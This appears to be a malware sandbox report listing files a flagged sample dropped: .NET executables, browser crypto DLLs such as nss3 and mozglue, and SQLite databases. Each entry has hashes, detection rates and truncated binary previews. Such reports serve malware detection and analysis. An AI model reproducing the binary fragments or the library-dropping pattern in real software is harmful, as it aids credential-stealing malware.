Entropy (8bit):	7.9883686543767505
Encrypted:	false
SSDEEP:	6144:8fOvdyqg2KXl14yNqwMabVNsVcyJZ3fJD1L3jqUGVfJgujH5J6I/W7CXVd7Lffp2:6Eg1XlqyNFN4cshD1KdVWI/W7CFd7LfE
MD5:	32C2E31313C3DF4A7A36C72503A5BEBA
SHA1:	1C88051112DAB0E306CADD9EE5D65F8DC229F079
SHA-256:	F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
SHA-512:	EE04D786E53F7FA203DBC4F8C018C72A907DABBD2D1C57E219B2CCC2DBD9D79A4EE8580B98F9B5C5024E628C0207CDD2BF93B9468E457F4EE00326C7C689F1AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\ProgramData\KEGIDHJKKJDGCBGCGIJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFHJJJKKFHIDAAKFBFBFCGDGDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\userGIEGHJEGHJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	414248
Entropy (8bit):	7.989507251331655
Encrypted:	false
SSDEEP:	12288:XY1HgTKqPXxbx28l1ukOy325R4RQMJnJ9w6EO:XY1AtPB0KwkU5GRnJnxt
MD5:	38DABC7063C0A175A12C30BD44CF3DBC
SHA1:	6D7AABEBD8A417168E220C7497F4BC38C314DA3B
SHA-256:	DE664956D799E59E1CCA0788D545922EE420E3AFDCF277442F148F52BC78DF89
SHA-512:	674760AD37CF7886CA4CD786E4D1966D3827FDAD008A85A125E18BD474D073DAE8D4296427253BB86E78D3173A300611EE5EB2E01C1F968700679350FC17A24D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...\(.f................."..........N@... ...`....@.. ....................................`..................................@..K....`...............,..(&...........>............................................... ............... ..H............text...T ... ...".................. ..`.rsrc........`.......$..............@..@.reloc.............................@..B................0@......H.........................................................................;.8.`..w.........r.b..... ..C.GA..~zxF.c.@Qe..8.....8$..a...N..!Q.4f...\.....d..a..e94...^Q8f.v....w.W..wH.kQ...,..3.A$#...P....)..S..o...b+gY.\o.....5.m.)..2.t.5.C..&z7....-.D...q!.....o........W2F...n;..~.9.....q4.l.V...O.p.l..m}.'...:.E..../%2..._..g...=.7.......m.......0^.hc..z$..c..s.?..`t6..@..BM......."vC.;'+d...>.V.[.I..H%"......w.E.....Y.....F.c........M...t..\.Q1.Dw

C:\Users\userIJEGDBGDBF.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	380456
Entropy (8bit):	7.9883686543767505
Encrypted:	false
SSDEEP:	6144:8fOvdyqg2KXl14yNqwMabVNsVcyJZ3fJD1L3jqUGVfJgujH5J6I/W7CXVd7Lffp2:6Eg1XlqyNFN4cshD1KdVWI/W7CFd7LfE
MD5:	32C2E31313C3DF4A7A36C72503A5BEBA
SHA1:	1C88051112DAB0E306CADD9EE5D65F8DC229F079
SHA-256:	F1FA2872FCD33C6DBCE8D974C0C0381C0762D46A53CEACA14A29727AD02BAEF3
SHA-512:	EE04D786E53F7FA203DBC4F8C018C72A907DABBD2D1C57E219B2CCC2DBD9D79A4EE8580B98F9B5C5024E628C0207CDD2BF93B9468E457F4EE00326C7C689F1AE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../(.f............................N.... ........@.. ....................................`.....................................K.......................(&.......................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......................................................................@X.15..Q..T.w{...........v^."....S...0Zo..X......\|.....o...AS..D...n..E.e...5_.0.....E....A.....;....$.3.Z.!h;.%....r;G..u...R...$'.9....V..7.O?.C..:....\|...,`2vq.2t.X/.g=^n(...?%N....g...Q.%.%..Iro.0...H.f..w+^...c...i../.'...F.........FR.E.t....+v.7S.g...3.....}.(...H...).u!_5...Yb...t...j.#.*J..z.^..x..i.H.....xT.V.F.c~..h..5...;..N..U..f...8c.?...K.ca}x..5.Uy{n.J..^...3h...%.\|....

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DBGIJEHIID.exe.log

Download File

Process:	C:\ProgramData\DBGIJEHIID.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\EGDGCGCFHI.exe.log

Download File

Process:	C:\ProgramData\EGDGCGCFHI.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\KECBKKEBKE.exe.log

Download File

Process:	C:\ProgramData\KECBKKEBKE.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userGIEGHJEGHJ.exe.log

Download File

Process:	C:\Users\userGIEGHJEGHJ.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\userIJEGDBGDBF.exe.log

Download File

Process:	C:\Users\userIJEGDBGDBF.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	2.133081594016209
Encrypted:	false
SSDEEP:	6:vtzOVg3F+X32wuhthQeOiGnkiluzlQjBC1lclfWd/G1i5lyEAht+hl/gd:vpmGSGxLjOL3l0QlkyulG1i7OIzG
MD5:	F5E41B8019653F9D890F856E7042676E
SHA1:	2937DAD4D83DA14F8C6304277924C45004718F99
SHA-256:	447721844CB2D6066639FDA761EC369AABC28E9CBF883F60702A09FCC9FDA51F
SHA-512:	8CEF4C6BDEE2CBA6601E2B7302B05C7B9F63725D9B0DDA6656263A82E5F54C030211DCF7D747C1A222206C9E84DBBA25988A4AC9A5365E7DD6153A78E7D8F577
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66fa2ae906657_snd[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	334376
Entropy (8bit):	7.985463298275865
Encrypted:	false
